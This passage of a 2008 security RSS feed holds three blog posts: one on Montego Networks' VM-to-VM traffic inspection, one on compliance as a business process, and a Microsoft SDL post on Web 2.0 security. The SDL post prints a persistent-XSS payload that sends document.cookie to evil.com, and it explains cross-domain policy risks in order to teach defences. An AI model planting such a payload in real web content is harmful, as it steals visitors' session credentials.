transfer data between each other but only once or twice a week.&nbsp;This means you can???t have them 100%
isolated.&nbsp;Because you have a
communication need between them, it probably makes sense to only open up the channels
(TCP/UDP Ports) that they need to communicate on vs. opening up all
channels.&nbsp;This helps mitigate
exposure.&nbsp;So, let???s say you open up port
6667 and only port 6667 for them to communicate with each other.&nbsp;Well, this is now a bit more secure than the
other option of leaving all ports open but let???s say this is a very very
critical server and you want deep packet inspection done on all of its traffic.&nbsp;The reason you want to do this is because
there is the potential that worms and BOTnet communication could occur over
this port 6667 but the only way to determine that is to do deep packet
inspection.&nbsp; I am using port 6667 as the example because I spoke with someone that had a real live case where one of their Linux VM's got infected with this BOTnet:&nbsp; <a href="http://www.energymech.net/">http://www.energymech.net/ </a> on port 6667<br /></p>

<p class="MsoNormal">Now, I could put some sort
of virtual IPS product inline and look at Physical to Virtual communication for
all of the VM???s (VM1, VM2, VM3, VM4, etc.) but I don???t care to take that kind
of performance hit and I also already have a physical IPS handling Physical to
Virtual.&nbsp;What I really needs is IPS
between the VM???s which I haven???t been able to find from any vendor yet and even
if I did find such a solution on the market I don???t care to take the
performance hit of doing IPS between ALL VM???s.</p>

<p class="MsoNormal">So, now that you understand the challenge, how can Montego
help and what???s this HyperVSecurity thing they talked about in their press
release that allows other vendors to interoperate with them.&nbsp;Well, with Montego???s Policy Based Switching
technology you, the administrator can control what types of VM to VM traffic
you would like to have inspected by a 3<sup>rd</sup> party security
solution.&nbsp;I would simply set up a policy
that says VM1 to VM2 on port 6667 will have its traffic sent to a StillSecure
virtual IPS product and once a week when that traffic starts to flow it will be
sent over to the IPS product for further inspection.&nbsp;Or if traffic starts to flow outside that
once a week norm, it will still be sent for inspection.&nbsp;This way if some attacker tries to get in on
that port he will have to make sure he can get past the IPS that now is able to
VM to VM IPS.</p>

<p class="MsoNormal">Pretty cool huh?&nbsp;I
think so.</p>

<p class="MsoNormal">&nbsp;Now, back to Montego
coming out of stealth mode???</p>

<p class="MsoNormal">You???ll start to hear and see a lot more innovation coming
out of Montego Networks now that we???ve popped slightly above radar and the
industry knows we are here but is scrambling trying to figure out what exactly
we do, how sustainable will this new startup be and if we really have what we
say we have.&nbsp;I???m certain competing
companies will throw FUD and make all sorts of comments about what we do, how
it performs, etc. etc. and all I can say is to just keep an eye on the after
burners because we are starting to get lift off.</p>

<p class="MsoNormal">-JP </p>



</div>
]]></content:encoded>
      <pubDate>Fri, 28 Mar 2008 09:40:02 +0000</pubDate>
      <category domain="http://securityratty.com/tag/montego">montego</category>
      <category domain="http://securityratty.com/tag/montego networks">montego networks</category>
      <category domain="http://securityratty.com/tag/virtual communication">virtual communication</category>
      <category domain="http://securityratty.com/tag/communication">communication</category>
      <category domain="http://securityratty.com/tag/party security vendors">party security vendors</category>
      <category domain="http://securityratty.com/tag/security vendors">security vendors</category>
      <category domain="http://securityratty.com/tag/virtual">virtual</category>
      <category domain="http://securityratty.com/tag/virtual network communications">virtual network communications</category>
      <category domain="http://securityratty.com/tag/physical">physical</category>
      <source url="http://vmwaresecurity.typepad.com/security_in_the_virtual_w/2008/03/montego-network.html">Montego Networks spotted on radar</source>
    </item>
    <item>
      <title><![CDATA[More from Securiosis...]]></title>
      <link>http://securityratty.com/article/3448fcec65603668f49acfaff9dc1119</link>
      <guid>http://securityratty.com/article/3448fcec65603668f49acfaff9dc1119</guid>
      <description><![CDATA[While Rich was away he brought in David Mortman who wrote this gem

I think he hits the nail on the head and together with the article I linked to in my previous post, this is the future of...]]></description>
      <content:encoded><![CDATA[While Rich was away he brought in David Mortman who wrote<a href="http://securosis.com/2008/02/18/leveraging-compliance-for-security/"> this gem</a>.<br /><br />I think he hits the nail on the head and together with the article I linked to in my previous post, this is the future of Information Security.<br /><br />I believe the take-away quote is this:<br /><br /><blockquote>"However, compliance is not a technology problem — it’s a business problem which needs a business solution. By instituting sustainable business processes that effectively leverage people and technology, enterprises will become not just more secure but also compliant with current and emerging regulations."</blockquote><br />I think that everyone involved in Information Security should read that, understand it and learn it off by heart. And then practice it.<br /><br />Once we can define a process and what information is used in it, who does it and when it happens - bingo - we can secure the process from start to finish. Most companies I have worked in (and I have worked in plenty) have no formal process design and so would not be able to properly enforce Information Security properly.<img src="http://feeds.feedburner.com/~r/SecurityThoughts/~4/251272241" height="1" width="1"/>]]></content:encoded>
      <pubDate>Fri, 14 Mar 2008 05:29:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/business">business</category>
      <category domain="http://securityratty.com/tag/business solution">business solution</category>
      <category domain="http://securityratty.com/tag/process">process</category>
      <category domain="http://securityratty.com/tag/formal process design">formal process design</category>
      <category domain="http://securityratty.com/tag/information">information</category>
      <category domain="http://securityratty.com/tag/information security">information security</category>
      <category domain="http://securityratty.com/tag/sustainable business processes">sustainable business processes</category>
      <category domain="http://securityratty.com/tag/effectively leverage people">effectively leverage people</category>
      <category domain="http://securityratty.com/tag/secure">secure</category>
      <source url="http://feeds.feedburner.com/~r/SecurityThoughts/~3/251272241/more-from-securiosis.html">More from Securiosis...</source>
    </item>
    <item>
      <title><![CDATA[SDL and Web 2.0]]></title>
      <link>http://securityratty.com/article/51d7b41dd699616b271e22ad2dc04c10</link>
      <guid>http://securityratty.com/article/51d7b41dd699616b271e22ad2dc04c10</guid>
      <description><![CDATA[Hi everyone, Bryan Sullivan here
Unless youve been living in an ice cave on the polar cap for the last month, youve heard about Microsofts proposed acquisition of Yahoo. George Hulme of...]]></description>
      <content:encoded><![CDATA[<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3></FONT>&nbsp;</P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Hi everyone, Bryan Sullivan here.&nbsp;</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Unless you’ve been living in an ice cave on the polar cap for the last month, you’ve heard about Microsoft’s proposed acquisition of Yahoo. George Hulme of InformationWeek wrote a very insightful </FONT><A href="http://www.informationweek.com/blog/main/archives/2008/02/web_20_security.html" mce_href="http://www.informationweek.com/blog/main/archives/2008/02/web_20_security.html"><FONT face=Calibri color=#0000ff size=3>column</FONT></A><FONT face=Calibri size=3> about the </FONT><A style="mso-comment-reference: BJS_1; mso-comment-date: 20080218T1703"><FONT face=Calibri size=3>proposed</FONT></A><FONT face=Calibri size=3> acquisition and what it would mean for Yahoo’s Web 2.0 properties. My favorite quote from this column (probably my favorite quote from anyone’s column so far this year): “…there’s still much to do in the [software] industry to reach a level of truly sustainable computing. This is perhaps especially true in the nascent area of Web 2.0 development. <B style="mso-bidi-font-weight: normal">Let’s hope Microsoft brings its Trustworthy Computing Initiative, or more precisely its Security Development Lifecycle to Yahoo</B>, should the $45 billion deal come through.” That’s pretty high praise for the SDL, but what exactly does the SDL have to say about Web 2.0 development? To answer this question, let’s take a look at a couple of security issues that affect Web 2.0 applications and then dive into the corresponding SDL requirements.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Many Web 2.0 applications allow their end users to build and contribute to the application. </FONT><FONT face=Calibri size=3>Think about social networking sites like </FONT><A href="http://www.facebook.com/" mce_href="http://www.facebook.com/"><FONT face=Calibri color=#0000ff size=3>Facebook</FONT></A><FONT face=Calibri size=3>, or wikis like </FONT><A href="http://en.wikipedia.org/" mce_href="http://en.wikipedia.org/"><FONT face=Calibri color=#0000ff size=3>Wikipedia</FONT></A><FONT face=Calibri size=3>. The content on sites like these comes directly from the users themselves. (Remember that you were Time Magazine’s Person of the Year in </FONT><A href="http://www.time.com/time/magazine/article/0,9171,1569514,00.html" mce_href="http://www.time.com/time/magazine/article/0,9171,1569514,00.html"><FONT face=Calibri color=#0000ff size=3>2006</FONT></A><FONT face=Calibri size=3> for this very reason!) While this is very empowering for users, it does beg the question: If users can add their own content to a web site, what’s to prevent them from adding malicious content? Consider what would happen if Evil Eve adds the following HTML to a wiki entry:</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri><SPAN lang=DE style="mso-ansi-language: DE">&lt;img src=“http://www.evil.com/eve?“ </SPAN>+ document.cookie/&gt;</FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>If the wiki accepts this content from Eve, then anyone who looks at the wiki entry will have their browser cookie “stolen” and sent to Eve at evil.com. The cookie could potentially contain login credentials or other sensitive information, allowing Eve to impersonate her victim and essentially commit a form of identity theft.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>The attack I’ve shown here is known as a persistent Cross-Site Scripting (XSS) attack, and is the most dangerous form of XSS since it doesn’t require any social engineering like reflective and </FONT><A style="mso-comment-reference: BJS_3; mso-comment-date: 20080218T1706"></A><A href="http://en.wikipedia.org/wiki/Cross-site_scripting#DOM-based" mce_href="http://en.wikipedia.org/wiki/Cross-site_scripting#DOM-based"><SPAN style="mso-comment-continuation: 3"><FONT face=Calibri color=#0000ff size=3>DOM-based</FONT></SPAN></A><SPAN class=MsoCommentReference><SPAN style="FONT-SIZE: 8pt; LINE-HEIGHT: 115%"><SPAN style="mso-special-character: comment"><FONT face=Calibri>&nbsp;</FONT></SPAN></SPAN></SPAN><FONT face=Calibri size=3>XSS attacks do. The victim doesn’t have to do anything unusual – he just has to browse to an infected page, maybe even one he’s been to hundreds of times in the past. And in all likelihood, he’ll never even know he was a victim. The </FONT><A href="http://en.wikipedia.org/wiki/Samy_%28XSS%29" mce_href="http://en.wikipedia.org/wiki/Samy_%28XSS%29"><FONT face=Calibri color=#0000ff size=3>Samy worm</FONT></A><FONT face=Calibri size=3> which infected </FONT><A href="http://www.myspace.com/" mce_href="http://www.myspace.com/"><FONT face=Calibri color=#0000ff size=3>MySpace</FONT></A><FONT face=Calibri size=3> in late 2005 exploited a persistent XSS vulnerability to silently spread through its victims’ profile pages. Within less than a day after its release, Samy had spread to over one million MySpace users, forcing MySpace to completely shut down its site while they diagnosed and fixed the vulnerability.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><SPAN style="mso-spacerun: yes"><FONT face=Calibri size=3>&nbsp;</FONT></SPAN><A style="mso-comment-reference: BJS_4; mso-comment-date: 20080218T1701"><FONT face=Calibri size=3>(As a side note, I’d like to point out that if the developers of the hypothetical wiki in the earlier example had used the </FONT></A><A href="http://msdn2.microsoft.com/en-us/library/ms533046.aspx" mce_href="http://msdn2.microsoft.com/en-us/library/ms533046.aspx"><SPAN style="mso-comment-continuation: 4"><FONT face=Calibri color=#0000ff size=3>HttpOnly</FONT></SPAN></A><FONT face=Calibri><SPAN style="mso-comment-continuation: 4"><FONT size=3> attribute for their site cookies, Evil Eve would not have been able to steal those cookies. However, HttpOnly is just a defense-in-depth measure and not a complete solution for the inherent problem of end users being able to write malicious code into the web site.)</FONT></SPAN></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Web mashups are another popular component of Web 2.0. JavaScript’s </FONT><A href="http://en.wikipedia.org/wiki/Same_origin_policy" mce_href="http://en.wikipedia.org/wiki/Same_origin_policy"><FONT face=Calibri color=#0000ff size=3>Same Origin Policy</FONT></A><FONT face=Calibri size=3> prevents web developers from writing client-based mashups (that is, mashups that don’t use a server proxy to request data from the individual sites being “mashed” together) in straight DHTML. Some Rich Internet Application (RIA) frameworks, notably Adobe’s </FONT><A href="http://www.adobe.com/products/flash/" mce_href="http://www.adobe.com/products/flash/"><FONT face=Calibri color=#0000ff size=3>Flash</FONT></A><FONT face=Calibri size=3> and Microsoft’s </FONT><A href="http://www.silverlight.net/" mce_href="http://www.silverlight.net/"><FONT face=Calibri color=#0000ff size=3>Silverlight</FONT></A><FONT face=Calibri size=3>, offer mechanisms to bypass the Same Origin Policy. For Flash, this mechanism is an XML file (crossdomain.xml) hosted on the domain root that lists all the external domains that should be granted access to the Flash movie. For example, if you host a Flash movie at www.mysite.com, and want to allow access from www.friendlysite.com, you would create a file www.mysite.com/crossdomain.xml with content as follows:</FONT></P>
<P class=MsoNoSpacing style="MARGIN: 0in 0in 0pt"><FONT face=Calibri size=3>&lt;cross-domain-policy&gt;</FONT></P>
<P class=MsoNoSpacing style="MARGIN: 0in 0in 0pt"><FONT size=3><FONT face=Calibri><SPAN style="mso-spacerun: yes">&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;</SPAN>&lt;allow-access-from domain=”www.friendlysite.com”/&gt;</FONT></FONT></P>
<P class=MsoNoSpacing style="MARGIN: 0in 0in 0pt"><FONT face=Calibri size=3>&lt;/cross-domain-policy&gt;</FONT></P>
<P class=MsoNoSpacing style="MARGIN: 0in 0in 0pt"><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p><FONT face=Calibri size=3>&nbsp;</FONT></o:p></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>So far, so good. However, crossdomain.xml allows not just specific domain names in the allow-access-from element (ie “www.friendlysite.com”) but also wildcards (“*.friendlysite.com”). In fact, it will even allow wildcards that break the </FONT><A href="http://www.cookiecentral.com/faq/#3.3" mce_href="http://www.cookiecentral.com/faq/#3.3"><FONT face=Calibri color=#0000ff size=3>two-dots</FONT></A><FONT face=Calibri size=3> rule like “*.com” or even just “*”. By using </FONT><A style="mso-comment-reference: BJS_5; mso-comment-date: 20080218T1707"><FONT face=Calibri size=3>highly</FONT></A><FONT face=Calibri size=3> permissive access lists like this, a developer is essentially letting anyone on the internet manipulate his objects and data. In an attack very reminiscent of the Samy worm, Chris Shiflett </FONT><A href="http://shiflett.org/blog/2006/sep/the-dangers-of-cross-domain-ajax-with-flash" mce_href="http://shiflett.org/blog/2006/sep/the-dangers-of-cross-domain-ajax-with-flash"><FONT face=Calibri color=#0000ff size=3>exploited</FONT></A><FONT face=Calibri size=3> an allow-access-from-* entry in </FONT><A href="http://www.flickr.com/" mce_href="http://www.flickr.com/"><FONT face=Calibri color=#0000ff size=3>Flickr</FONT></A><FONT face=Calibri size=3>’s crossdomain.xml file that caused any visitor to Chris’s web site to automatically add Chris to their Flickr friends list. While this may not be the scariest attack you’ve ever heard of, imagine what might happen if a truly malicious user discovers the same vulnerability in the fund</FONT><A style="mso-comment-reference: BJS_6; mso-comment-date: 20080218T1710"><FONT face=Calibri size=3> transfer functionality of a bank’s web site, or the security trading functionality of a brokerage firm’s&nbsp;</FONT></A><FONT face=Calibri size=3>web site.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>So, what does the SDL have to say about these issues? In terms of XSS prevention, the SDL offers a lot of guidance. The SDL requires the use of both input validation (making sure that user input conforms to a known good format – in the case of the wiki entry, to deny HTML and script content) and output encoding (making sure that any active content that gets past the input validation routines is rendered as harmless text and not executed). Internally, we also mandate the use of </FONT><A style="mso-comment-reference: BJS_7; mso-comment-date: 20080218T1716"></A><A href="http://blogs.msdn.com/ace_team/archive/2007/10/22/xssdetect-public-beta-now-available.aspx" mce_href="http://blogs.msdn.com/ace_team/archive/2007/10/22/xssdetect-public-beta-now-available.aspx"><SPAN style="mso-comment-continuation: 7"><FONT face=Calibri color=#0000ff size=3>code analysis tools</FONT></SPAN></A><SPAN class=MsoCommentReference><SPAN style="FONT-SIZE: 8pt; LINE-HEIGHT: 115%"><SPAN style="mso-special-character: comment"><FONT face=Calibri>&nbsp;</FONT></SPAN></SPAN></SPAN><FONT face=Calibri size=3>to find XSS vulnerabilities that might otherwise slip through the cracks. This is great advice for anyone developing web applications, whether they’re Web 2.0 or 1.0.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>As for cross-domain policy files, the SDL provides several recommendations. First is a simple attack surface reduction: if a site is not meant to be accessed by foreign domains, then any cross-domain policy files should be removed from the site. Second, if an application offers cross-domain access and also has functionality available only to authenticated users, then this site must not contain overly permissive access lists like “*” or “*.com”. It’s best to list specific domains wherever possible, or at least follow the same two-dots rule that HTTP cookies have to follow for their domain specifications. This helps to limit the sites that can perform request forgery attacks like the Flickr attack mentioned earlier. If no applications anywhere on the site offer special functionality for authenticated users, then the SDL does permit the site to have a broad-reaching cross-domain access list. However, this does require constant oversight to ensure that no authenticated applications are added to the site at a later time. In my opinion, it’s safer just to lock down the list to exactly the sites that are necessary and no more.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Regardless of what happens between Microsoft and Yahoo, I agree with George that adoption of the SDL would benefit Yahoo’s Web 2.0 applications. In fact, I’ll take it a step further and state that adoption of the SDL would benefit anyone’s Web 2.0 applications. In my next SDL blog post, I’ll be addressing the trickiest aspect of implementing the SDL for Web 2.0: developing the “perpetual beta”.</FONT></P><img src="http://blogs.msdn.com/aggbug.aspx?PostID=7937889" width="1" height="1">]]></content:encoded>
      <pubDate>Thu, 28 Feb 2008 19:26:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/web">web</category>
      <category domain="http://securityratty.com/tag/site">site</category>
      <category domain="http://securityratty.com/tag/chriss web site">chriss web site</category>
      <category domain="http://securityratty.com/tag/mashups">mashups</category>
      <category domain="http://securityratty.com/tag/web mashups">web mashups</category>
      <category domain="http://securityratty.com/tag/site cookies">site cookies</category>
      <category domain="http://securityratty.com/tag/persistent cross-site">persistent cross-site</category>
      <category domain="http://securityratty.com/tag/cookies">cookies</category>
      <category domain="http://securityratty.com/tag/benefit anyones web">benefit anyones web</category>
      <source url="http://blogs.msdn.com/sdl/archive/2008/02/28/sdl-and-web-2-0.aspx">SDL and Web 2.0</source>
    </item>
  </channel>
</rss>
